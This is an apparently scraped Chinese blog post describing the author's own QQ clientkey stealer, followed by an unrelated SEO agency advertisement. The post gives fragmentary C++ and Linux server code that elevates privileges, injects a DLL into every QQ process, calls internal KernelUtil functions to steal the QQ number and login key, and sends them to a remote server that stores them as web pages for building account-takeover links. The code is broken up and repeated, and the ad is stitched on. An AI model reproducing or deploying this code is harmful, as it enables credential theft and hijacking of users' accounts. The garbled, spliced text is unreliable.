96SEO 2026-02-19 11:25 15
果演示1https://www.bilibili.com/video/BV1154y1Z7bS/效果演示2https://www.bilibili.com/video/BV1Aa411n7fF/第一次剪视频发现有好多细节要注意为了保护一个ip我可以说拼尽全力了

该项目主要是利用clientkey对clientkey的获取不做深层探究涉及到的多为基础知识。
代码约共850行左右全文约共4万字主要作用是将来我能够给我自己复盘该项目使用。
学算法真的很有用写代码少了很多bug写算法题目时那种反复检查的思想对写代码有很大的提升。
qqclientkey大概可以将其理解为qqweb端的临时密码。
关于qqclientkey网上已经有很多前辈的研究和相关的文章并且都通俗易懂较易理解主要有两种方法一种是内存中读取qqclientkey另一种网页访问获取。
第二种方法已经为很古老的方法了可能是已经失效也可能因为本人才学疏浅未能成功过。
不过我之后通过key尝试获取cookie以实现key长久利用却发现并不如以前的文章所写的一样轻松如今有个skey需计算获得我用python写的脚本返回的数据头里的cookie也都为空。
https://mail.qq.com/cgi-bin/frame_html
(https://ssl.ptlogin2.qq.com/jump?ptlang2052clientuin
Firefox/100.0,Accept:text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Language:zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding:
只得参考某位前辈的文章东施效颦模仿了一个。
由于核心的dll是我挺久以前写出来的了如今我未能找出那位前辈的原文。
如果有哪位看过我dll源码后知晓是哪篇文章烦请告知我我将在博客中贴出。
不胜感激。
内存clientkey主要是qq执行”KernelUtil.dll“中的?GetSignatureMiscUtilYA?AVCTXStringWPBDZ函数获取clientkey该函数有两个参数第一个参数是你要获得的clientkey保存的地址第二个参数是buf32ByteValueAddedSignature返回类型为void。
于此我们就可以通过dll注入来实现获取qqclientkey。
服务端创建监视线程用于管理所有连接用户打开客户端客户端连接服务端。
服务器接收到连接创建新的线程来处理。
客户端扫描当前目录下是否存在dll文件不存在则向服务端发送指令1来获取dll。
若存在则执行注入关于注入我写了一个类本想用于任何dll注入任何进程方便调用结果还是写成了半该项目专用半其他进程也能用的东西...注入的步骤先初始化各个成员变量。
再调整自身提权如果不执行这一步可能没有进行注入的权限接下来获取所有qq进程的pid并保存下来然后进行doinject函数挨个注入注入后dll将会把qq和key放入一段共享内存内客户端将会读取该段共享内存把qq和key保存在结构体内。
之后将该结构内的qqkey挨个发送到服务端。
服务端接收到数据将其保存在网页/qq/xxxx.html内xxxx是qq号至此一次通讯完成。
客户端会保持定期发送数据。
监视线程用于某个连接过长时间未发送数据则关闭该连接并关闭该连接对应的线程。
//一开始不用wchar_t是因为会出现众多问题如转换时类型处理不当出现的乱码问题
CreateXxOoDomain();//创建共享内存区域BOOL
qq_and_key[PUBLIC_BUFFER_SIZE];
endl;GetDLL(mainSock);}inject.doInject();
0);closesocket(mainSock);WSACleanup();return
关于socket最近正好刚看完一本书叫TCP/IP协议详解里面关于socket的连接介绍的很通俗易懂它是这么说的你可以把socket连接看成是打电话比如打给114。
服务器那边1要有个电话总机获得这个电话总机的过程就相当于调用socket()函数。
2服务器光有总机还不行电信局得给电话总机分配一个电话这就类似于bind()函数将端口和socket套接字绑定socket套接字类似于总机端口类似于电话至于bind就像电信局。
3总计开通后就一直再监听用户的拨号用户拨打114可能拨通也可能获得忙音这就相当于listen()函数来监听用户请求。
4总机接到某个客户电话后将用户和一个分机连接总机本身又重新回到监听状态这就相当于socket中的accept()函数accept()成功后服务器将返回一个新的套接口来与客户通信。
至于客户和与分机之间的连接则调用recv()和send()函数。
5调用结束关闭分机用closesocket关闭套接口避免浪费通信资源。
而客户端所要做的如下1想要拨打114查好首先自己得有个座机自己座机的号码并不重要所以我们可以指定也可以不指定座机就相当于套接口号码就相当于端口。
所以首先调用socket函数创建套接口2有了电话我们就可以向114拨打电话此时调用connect()函数来模拟打电话的过程打通了程序会返回0没打通则会告诉你错误类型。
3打通了后我们就可以通过send()recv()来与服务器进行沟通。
4当我们打完后需要挂断电话此时则调用closesocket来实现挂断电话关闭套接口。
避免资源浪费。
说这个的目的一是本项目刚好用到了socket连接另一个则是该例子通俗易懂帮我很好的理解了客户端服务器五元组建立的步骤我分享出来希望帮到大家。
之后创建一个DLL_INJECTION类进行初始化工作初始化写在构造函数内主要包括成员变量的初始化以及获取pid提权等操作。
sever_addr;sever_addr.sin_addr.s_addr
inet_addr(ip);sever_addr.sin_port
htons(port);sever_addr.sin_family
}DoSocket()部分则是一段很标准的socket连接详细的过程建议看看专业的书籍以及介绍能够更加加深你对连接过程的理解以及对每个变量和参数的理解。
函数如果连接成功则返回与服务相连的套接口供之后使用连接失败则返回0。
判断文件完整性可以采用比较md5的方式我准备于今后有时间再进行实现。
判断文件是否存在的过程不说判断完整性经过实践来说是必须的不然由于程序中包含了对dll的读写操作创建dll从服务器接收数据写入dll很容易由于网络问题造成dll损坏。
函数的返回值主要依靠BOOL型变量flag若是无误则返回true有问题则返回false由于win32api没有现成的判断文件是否存在的函数于是我们用FindFirstFile(LPCTSTR
lpFindFileData)第一个参数是文件名字如果找到了则将该文件的相关信息存储到第二个结构体参数内。
其中第二个结构体参数中的有两个成员一个是DWORD
nFileSizeLow分别代表用高位DWORD数值表示文件大小和用低位DWORD数值表示文件大小单位都是字节此处我用的是nFileSizeLow来判断dll长度是否正确。
FindFirstFile函数调用成功返回一个搜索句柄可以记下来在FindNextFile或者FindClose中继续利用这个句柄如果失败则返回INVALID_HANDLE_VALUE我们则利用其返回值来判断文件是否存在。
dll_(gobal_dll_path,ios::binary|ios::out);//发送接收dll指令char
致使结束符和dll数据混合在一起*/Sleep(10);}//接收结束cout
}该函数主要作用是用于下载dll该函数一般在检测dll是否存在调用后根据其返回值调用。
首先进行缓冲区的创立我们将1024字节的buf作为缓冲区并对其利用memset进行初始化。
然后利用fstream创立一个dll实体文件。
当一切准备工作做完后客户端向服务器发送指令_CMD_DLL_GET_告诉服务器我已经准备好我下面需要接收dll。
于是采用一个循环recv函数的返回值是所接收到的字节数。
根据这个特点我们可以将其作为循环条件不知道为什么如果直接将recv作为循环条件对方发完后或者连接突然断开都会导致错误对方发完后如果对方不告诉你“我发完了你可以不用recv了”他就会一直保持在那。
如果有时间我会单独研究一下这个问题。
所以我设置了一个结束标志char
“deadbeff”应该是deadbeef服务器端打错了而且服务器端编译运行比较麻烦所以就将错就错了当服务器将全部dll发送完后将会发送一串这个字符串客户端接收到该字符串后则将退出循环。
此处还有一个一个问题我观察了服务端的发送过程我写的是每一次发送服务端都将输出一条发送的记录告诉这是第几次发送并且发送了多少个字节可是服务端每次都是一次性输出客户端我也是如上我写了每一次接收将会输出一条记录但是客户端也是一次性输出。
于是我猜测服务端是一次性将数据发送完之后客户端接收到之后先是全部保存到系统缓冲区内再分段保存到buf内。
以上全部基于猜测如有问题请联系我删除或修改。
可是又有一个问题如果采用的如上的发送和接收的方式按理说客户端每段接收都是固定的1024字节可是实际过程中发现。
服务器端一共分10次发送每次发送1024字节。
如果不加sleep10的情况下客户端一般都是分11次接收前八次基本都是正常的1024字节第9次或者第10次只能接受900多左右的字节这就导致了客户端需要多一次接收接收11次。
可是客户端的第11次发送则是over_flag这就导致客户端的over_flag和dll数据混合到了一起致使dll出错为了避免这种情况我加入了短暂的时延sleep10我个人想法是为了让buf有一定的时间接收完完整数据总之大体上加入这个短暂时延后基本上能解决问题目前没再次遇到该问题。
DLL_INJECTION::AdjustPrivilege()
((OpenProcessToken(GetCurrentProcess(),
endl;OutputDebugString(L权限查询失败);return
tkp;tkp.Privileges[0].Attributes
SE_PRIVILEGE_ENABLED;tkp.PrivilegeCount
endl;OutputDebugString(L调整自身权限失败);return
}注入的核心是通过调用CreateRemoteThread函数来使某个进程调用我们写好的dll而要想调用该函数首先要拥有足够的权限能够对目标进程进行操作如果权限不够很可能会出现一系列错误于是我们需要我们程序本身进程的权限进行一个提升。
这里我们采用指令牌权限提升的方式
指令牌权限提升的方式已经较为固定打开进程令牌OpenProcessToken查询系统特权LookupPrivilegeValue调整权限AdjustTokenPrivileges好奇的可以看这篇文章关于进程令牌权限提升。
我在github上还搜索到了一个老外写的在win10UAC下的权限提升的源码我准备有空好好研究研究。
CreateToolhelp32Snapshot(TH32CS_SNAPALL,
sizeof(PROCESSENTRY32);Process32First(handle,
//防止数组越界{break;}target_counts;target_pid[target_counts]
}获取所有qqpid思路是创建一个进程快照一个进程一个进程的名字对比过去名字一样的获取其pid保存一直到遍历完所有进程为止。
该处也没有什么好说的。
需要注意的是我用FindWindow来查询QQ进程的pid时获取的pid值好像和创建进程快照方法获取的不一样由于该注入部分是我五年前做的了当时不懂的很多也没对自己的问题进行一个详细的记录所以可能是我操作的问题。
总之当时困扰了我好久上各种地方去问都无果。
想来想去最后还是用创建进程快照还方便获取所有qq的pid。
DLL_INJECTION::CreateXxOoDomain()
DLL_INJECTION::CreateXxOoDomain()
CreateFileMapping(INVALID_HANDLE_VALUE,
在windows下进程间通信有大致五种方式分别是通过自定义消息进行通信通过管道进行通信通过互斥体进行通信通过共享内存进行通信来源《windows系统编程》。
还有一种是我自己认为应该加上的如果可以借助外部存储的话还可以通过文件进行通信。
此处我们采用的时通过共享内存进行通信。
该函数旨在开辟一块共享内存共享内存内内容可读可写共享内存名字为“xxoo”用于读取qq进程中获取的clientkey。
我们在析构函数中销毁这块共享内存。
创建共享内存时如果设置共享内存名字为Gobal:\\则会出错百度错误码则说权限不够目前未找到解决办法。
}在构造函数内我们对每个成员变量进行赋值用0填充进行初始化工作在本函数内我们主要调用提权和获取pid函数以及开辟共享内存避免每次注入都要重复进行一遍上述操作带来很大不便。
GetLastError());OutputDebugStringA(OpenFileMapping
OpenProcess(PROCESS_ALL_ACCESS,
endl;OutputDebugString(L获取目标进程句柄失败);return
endl;OutputDebugString(L目标进程中开辟虚拟内存失败);return
endl;OutputDebugString(L写入路径失败);return
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(LKernel32.dll),
//加载dllCreateRemoteThread(handle,
//创建远程线程Sleep(100);//读取共享内存LPCTSTR
GetLastError());printf(MapViewOfFile
failed!\n);}sprintf(qq_and_key,
endl;//分割字符组strcpy(qq[i].qqUin,
endl;this-UnInjectDll(Lkey3.0.dll,
//卸载dll以防出错UnmapViewOfFile(pBuf);}return
}这段代码便是本程序最核心的部分也是需要和dll相结合的部分但是我也没什么好说的关于本文中所用的dll注入技术已经时相当格式化了按部就班就行了。
复盘一下dll注入技术首先打开目标进程然后在目标进程中开辟一块空间接下来将我们的dll载入这块空间然后创建远程线程使目标进程执行这块空间内容最后记得卸载dll。
本函数的主要作用就是对每个qq进程进行一个注入并读取共享内存内容的作用由于每个进程注入后dll都会在加载时调用其中的steal函数偷取key和qq并写到共享区域中所以每次注入完多一个读取共享内存的操作。
dll写入时我们采用*作为qq和key的分割符以qq号*key的形式写入共享内存区域然后客户端以*为分隔符解码存入我们自写的qq结构体内。
}qq[MAX_PROCESS];由于key长度是64位再包含一位截断符\x00正好65位。
至此一个完整的注入流程基本完成。
还是要提醒一下注入结束后记得卸载dll并且程序结束时记得关闭共享内存区域。
ij.GetQQAddress(i);//将QQ内内容转移到发送区bufmemcpy(buf,
和服务端建立连接的套接字作为参数。
选择套接字作为参数是因为我需要将数据发送到服务器选择类作为参数是因为我需要用到其中的数据。
首先获取qq的数量以及qq结构体的大小获取数量表示我们将发送多少次接下来创建发送缓冲区并将其初始化。
然后按照qq的数量发送qq结构体。
dll方面的工作比较底层关于dll的基本知识如dll入口函数以及入口函数内的那几个case的作用我将不再阐述了主要研究其所做的工作
一个4字节的整数存储的是实际的不含结尾Null字符的字符串的字节数。
它位于字符串中的第一个字符之前。
Unicode字符组成的字符串这个字符串可以包含很多Null字符。
我觉得应该不难理解就是字符串长度加字符串本文中的CTXString类型即为BSTR类型那个AllocTXString函数在dll关键函数Steal函数中并未用到被注释掉了大概讲一下吧。
}其实挺好理解的如果传进来的宽字符不为空则利用这个宽字符创建一个类似于BSTR的数据。
第二行就是创建一个bBuffer大小为16byte字符串长度结束符长度*每个宽字符大小按理说一个整形数据应该是4byte也就是说最前面应该是4byte至于为什么是16byte我在网上找到了这个图。
也就是说BSTR前面的头部不止只有字符串长度而其前四个字节确定是其字符串不含\x00的长度至于剩下的8个字节我并无头绪网上的相关资料也较少。
剩下的memove和strcpy就是将构造的头和wchar内的内容填充到构造好的BYTE字串内再将这个BYTE字串转换为BSTR类型并返回。
所以该函数最终表达的目的就一个将传进来的wchar转换为BSTR类型。
GetModuleHandle(LKernelUtil.dll);
(ULONG)GetProcAddress(GetModuleHandleA(KernelUtil),
//获取dll中获得qq号函数,获取kenelutil中获取qq号函数的地址if
((ULONG(__cdecl*)())fnGetSelfUin)();//DWORD
((int(*)(int))fnGetSelfUin)();if
NULL){OutputDebugStringA(Invoke
?GetSignatureMiscUtilYA?AVCTXStringWPBDZ);
char*))GetSignature)(ClientKey,
NULL){OutputDebugStringA(Invoke
https://ssl.ptlogin2.qq.com/jump?ptlang2052clientuin%sclientkey%wsu1https://user.qzone.qq.com/%s%/infocentersourcepanelstar\n,
D!E!A!D!);OutputDebugStringA(littlejudge);}else{sprintf(littlejudge,
LIVE!!!!);OutputDebugStringA(littlejudge);}OutputDebugStringA(msg);}
(0);}这边do{}while(0)的意思就是执行一次。
之前看《linux内核源码分析》时分析过do{}while(0)但主要是在#define宏定义中的巨大作用至于此处我也没能明白作者本意。
当该dll注入到QQ.exe中并且知道我们需要的函数的名字和参数的时候窃取就变得很简单了。
首先我们获取本进程内的函数所在的dll的“Kernel.dll”所在的模块句柄然后获取其中“?GetSelfUinContactUtilYAKXZ”函数所在的地址以及“?GetSignatureMiscUtilYA?AVCTXStringWPBDZ”函数所在的地址最后直接调用将返回值保存就行了。
注意获取key的函数据逆哥的分析有两个参数第一个是key获取后所保存的地址第二个是“buf32ByteValueAddedSignature”固定参数。
而获取qq的那个函数并无参数。
NULL){OutputDebugStringA(OpenFileMapping
(LPTSTR)MapViewOfFile(hMapFile,
NULL){OutputDebugStringA(MapViewOfFile
NULL){OutputDebugStringA(CopyMemory
FALSE;}UnmapViewOfFile(pBuf);CloseHandle(hMapFile);return
}该函数也很简单就是打开内存映射文件将qq和key写入共享内存。
第一个参数是qq第二个参数是key。
该段函数的写法我参照的《windows系统编程》挺简单的没什么可以多说的。
共享内存的名字叫“xxoo”。
详可见客户端内开辟共享内存那块的写法。
studio2019配合服务器的g编译器写的不得不说vs系列真是开发神器虽然大了一点但是一点都不影响他的好用在引入多线程之前基本所有工作只需要我在windwos端操作就行服务器端我只需要./sever.o就全部解决。
直到遇到了多线了编译命令里需要加入参数-lpthread我不知道在哪里添加命令折腾了好久最终放弃不过我仍是采用的是用vs2019写写完服务器g编译。
vs2019的自动排版自动补全代码错误高亮仍然帮了我的大忙。
}输出一个版本号用来检测我的vs2019上的改动是否改动到了服务器里输出一个平台。
只要功能我都是在mainSock内实现。
sever_addr;sever_addr.sin_addr.s_addr
htons(5000);sever_addr.sin_family
0;}//主scoket创建完立刻创建监视线程。
pthread_t
endl;continue;}tids.insert(make_pair(clt_sock,
之后每接收到一个用户连接则新建一个线程用来处理与客户之间的连接。
在此之前我们得注意有可能会出现与某个客户的连接虽然还存在但实际上由于种种原因客户不再发送数据给我们这时候我们可以认为这个连接已经死掉了。
如果我们不自己处理这种连接则会造成通信资源的浪费。
为此我们创建了一个监视线程来监视每个连接最后接收数据的时间如果超过15分钟没接收到数据我们则认为连接已死关闭套接口并且终止线程运行。
关于监视线程的监视我们主要采用了两个全局map型变量一个是mapint,tid一个是mapint,time_t一个记录每个连接所对应的tid一个记录每个连接最后的刷新时间每次创建一个与客户连接的线程则将其连接对应的tid插入每次接收命令则刷新该连接最后与客户端的通信时间。
//第二个条件防止某线程刚被创建就被删除{close((*it).first);
//关闭socketpthread_cancel(tids[(*it).first]);
//结束线程lstUpdata.erase((*it).first);
//从map中删除tids.erase((*it).first);}}sleep(1);}return
该函数的主要功能能如mainSock中所说监视每个连接最后刷新时间。
每次循环我们都创建一个时间变量来记录当前时间然后内部遍历每个已记录连接并将已记录连接的最后接发时间和当前时间进行对比如果已记录连接最后接发数据时间和当前时间差超过15分钟也就是900秒则终止连接终止线程并在记录中删除记录。
0){lstUpdata.insert(make_pair(clt_sock,tim));}else{lstUpdata[clt_sock]
_CMD_EXIT_://指令0退出循环。
tids.erase(clt_sock);lstUpdata.erase(clt_sock);close(clt_sock);clt_sock
_CMD_GET_DLL_:SendDll(clt_sock);break;case
_CMD_RECV_QQ_:GetQQ(clt_sock);break;case
_CMD_RECV_SCREENSHOT_:GetScreenshot(clt_sock);break;default://非法参数退出循环。
tids.erase(clt_sock);lstUpdata.erase(clt_sock);close(clt_sock);clt_sock
该函数的参数主要是accept接收到连接请求后创建的socket连接。
我们首先将参数转化为socket对应的int类型用一个强制转化即可。
之后sleep(10)的目的是为了等待主线程中tids.insert(make_pair(clt_sock,
tid))的执行在其执行完后我们下一条指令才能不会输出0。
不然是输出0还是输出线程地址全看运气。
接下来创建时间变量记录当前连接收到命令的最新时间每次收到一次命令则更新一次最后收到命令的时间。
当然如果发现当前连接在时间记录表中并不存在则插入一条
的数据判断当前连接在时间记录表中是否存在我们用map.count(key)指令该函数可以判断键值在map中是否存在。
存在返回1不存在返回0。
值得注意的是在实际连接中我们除了收到用户的连接还会收到一些来自不明地方的扫描http
get请求一切爬虫请求以及很多奇怪的连接这多半是境外或者国内的黑客们的自动扫描端口并尝试入侵的请求实际在我的博客的日志文件内也收到很多类似的请求。
足足3万多行6mb很吓人居然还看到了熟悉的注入我博客所有正常访问的流量估计得是这些流量的几分之一甚至几十分之一
如果不对此类请求进行处理我们的服务端很容易崩溃。
而处理的方法很简单我们只需要在default里设置一旦遇到意外的请求便执行关闭连接关闭线程删除记录的处理。
初始化接收到的命令cmd为0而这恰好也是退出进程的命令。
这不是什么巧合和意外这是刻意而为之。
实际连接中我们发现客户在关闭该软件的时候其实根本没有机会执行到发送命令0而就断开了连接(因为我们发送0指令的过程写在循环外)之后我们recv连接将不会再等待而是会返回一个错误这就会造成一个不断地死循环。
为此我们初始化cmd为0一旦没接收到指令或者接收到的指令为0就直接退出能够有效的避免这个死循环。
\xde\xad\xbe\xff;send(clt_sock,
}该处代码较为简单配合客户端的发送dll的函数相关内容应该不难理解其中内容。
打开key所在文件读入内容成功读入则发送dll数据最后发一个over_flag表示结束。
sizeof(QQ));//若此QQ未存在过创建文件夹string
S_IRWXG|S_IRWXO|S_IRWXU);}string
}该处内容挺简单的主要是根据发来的qq的数量来决定服务端将要接收的qq的次数。
注意中间那个if无意义可省略。
我当初写的是为每个qq建立一个文件夹记录其历史ip以及实时桌面截图。
但由于时间不够桌面截图这部分并没有完成。
bmp图片太大存不了多少压缩成JPEG的话我得另学新知识可是临近期末了加之我的主要任务为了大创而进行的图像识别的学习还没开始就暂且放一放。
网站所在目录/qq/“qq号”.html来构造方便我这边的python脚本获取key并构造qq链接。
CreateXxOoDomain();//创建共享内存区域BOOL
qq_and_key[PUBLIC_BUFFER_SIZE];
}qq[MAX_PROCESS];DLL_INJECTION::DLL_INJECTION(const
//初始化target_pidmemset(dll_path,
DLL_INJECTION::AdjustPrivilege()
((OpenProcessToken(GetCurrentProcess(),
endl;OutputDebugString(L权限查询失败);return
tkp;tkp.Privileges[0].Attributes
SE_PRIVILEGE_ENABLED;tkp.PrivilegeCount
endl;OutputDebugString(L调整自身权限失败);return
CreateToolhelp32Snapshot(TH32CS_SNAPALL,
endl;OutputDebugString(L创建进程快照失败失败);return
sizeof(PROCESSENTRY32);Process32First(handle,
//防止数组越界{break;}target_counts;target_pid[target_counts]
GetLastError());OutputDebugStringA(OpenFileMapping
OpenProcess(PROCESS_ALL_ACCESS,
endl;OutputDebugString(L获取目标进程句柄失败);return
endl;OutputDebugString(L目标进程中开辟虚拟内存失败);return
endl;OutputDebugString(L写入路径失败);return
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(LKernel32.dll),
//加载dllCreateRemoteThread(handle,
//创建远程线程Sleep(100);//读取共享内存LPCTSTR
GetLastError());printf(MapViewOfFile
failed!\n);}sprintf(qq_and_key,
endl;//分割字符组strcpy(qq[i].qqUin,
endl;this-UnInjectDll(Lkey3.0.dll,
//卸载dll以防出错UnmapViewOfFile(pBuf);}return
DLL_INJECTION::CreateXxOoDomain()
CreateFileMapping(INVALID_HANDLE_VALUE,
DLL_INJECTION::UnInjectDll(const
CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
OpenProcess(PROCESS_ALL_ACCESS,
//初始化me结构体不设置大小无法使用Module32First(hModuleSnap,
//此时me结构体内为指定模块//注入进程释放dll环节LPTHREAD_START_ROUTINE
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(LKernel32.dll),
target_counts;GetPID();//如果QQ数量改变重新注入if
DLL_INJECTION::GetQQAddress(int
//一开始不用wchar_t是因为会出现众多问题如转换时类型处理不当出现的乱码问题
{//ShowWindow(GetConsoleWindow(),
endl;GetDLL(mainSock);}DLL_INJECTION
endl;GetDLL(mainSock);}inject.doInject();
0);closesocket(mainSock);WSACleanup();return
sever_addr;sever_addr.sin_addr.s_addr
inet_addr(ip);sever_addr.sin_port
htons(port);sever_addr.sin_family
dll_(gobal_dll_path,ios::binary|ios::out);//发送接收dll指令char
致使结束符和dll数据混合在一起*/Sleep(10);}//接收结束cout
ij.GetQQAddress(i);//将QQ内内容转移到发送区bufmemcpy(buf,
但是如果此处列出的文件中的任何一个在生成之间有更新它们全部都将被重新编译。
请勿在此处添加要频繁更新的文件这将使得性能优势无效。
#ifndef
当使用预编译的头时需要使用此源文件编译才能成功。
dllmain.cpp
NULL){OutputDebugStringA(OpenFileMapping
(LPTSTR)MapViewOfFile(hMapFile,
NULL){OutputDebugStringA(MapViewOfFile
NULL){OutputDebugStringA(CopyMemory
FALSE;}UnmapViewOfFile(pBuf);CloseHandle(hMapFile);return
GetModuleHandle(LKernelUtil.dll);
(ULONG)GetProcAddress(GetModuleHandleA(KernelUtil),
//获取dll中获得qq号函数,获取kenelutil中获取qq号函数的地址if
((ULONG(__cdecl*)())fnGetSelfUin)();//DWORD
((int(*)(int))fnGetSelfUin)();if
NULL){OutputDebugStringA(Invoke
?GetSignatureMiscUtilYA?AVCTXStringWPBDZ);
char*))GetSignature)(ClientKey,
NULL){OutputDebugStringA(Invoke
https://ssl.ptlogin2.qq.com/jump?ptlang2052clientuin%sclientkey%wsu1https://user.qzone.qq.com/%s%/infocentersourcepanelstar\n,
D!E!A!D!);OutputDebugStringA(littlejudge);}else{sprintf(littlejudge,
LIVE!!!!);OutputDebugStringA(littlejudge);}OutputDebugStringA(msg);}
DLL_PROCESS_ATTACH:Steal();break;case
DLL_PROCESS_DETACH:break;}return
sever_addr;sever_addr.sin_addr.s_addr
htons(5000);sever_addr.sin_family
0;}//主scoket创建完立刻创建监视线程。
pthread_t
endl;continue;}tids.insert(make_pair(clt_sock,
\xde\xad\xbe\xff;send(clt_sock,
sizeof(QQ));//若此QQ未存在过创建文件夹string
S_IRWXG|S_IRWXO|S_IRWXU);}string
//第二个条件防止某线程刚被创建就被删除{close((*it).first);
//关闭socketpthread_cancel(tids[(*it).first]);
//结束线程lstUpdata.erase((*it).first);
//从map中删除tids.erase((*it).first);}}sleep(1);}return
0){lstUpdata.insert(make_pair(clt_sock,tim));}else{lstUpdata[clt_sock]
_CMD_EXIT_://指令0退出循环。
tids.erase(clt_sock);lstUpdata.erase(clt_sock);close(clt_sock);clt_sock
_CMD_GET_DLL_:SendDll(clt_sock);break;case
_CMD_RECV_QQ_:GetQQ(clt_sock);break;case
_CMD_RECV_SCREENSHOT_:GetScreenshot(clt_sock);break;default://非法参数退出循环。
tids.erase(clt_sock);lstUpdata.erase(clt_sock);close(clt_sock);clt_sock
谨以此项目来纪念我碌碌无为的大一吧忙碌了一年到头来也只剩下这个。
虽然没能进一个我所理想的大学但是这所大学里所拥有的确实同级别大学所没能拥有的赏识我的老师不输其他同级别学校的师资丰富的活动这些都是我意料之外的。
我感觉我虽有点不幸但也拥有者他人不曾有的幸运来到了这里我有充足的时间研究我喜欢的事物。
但可惜一直没能做出个什么成果。
我曾想着凭借一场比赛来给我自己的大一画上一个圆满的句号但该死的疫情阻拦了我的脚步至今我仍在遗憾那场比赛里没交上的那道题如果交上了我的大一至少也能有个纪念了纪念我并不是什么都没做过我努力过了这是我的荣誉是我的勋章是我的证明。
但很可惜。
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback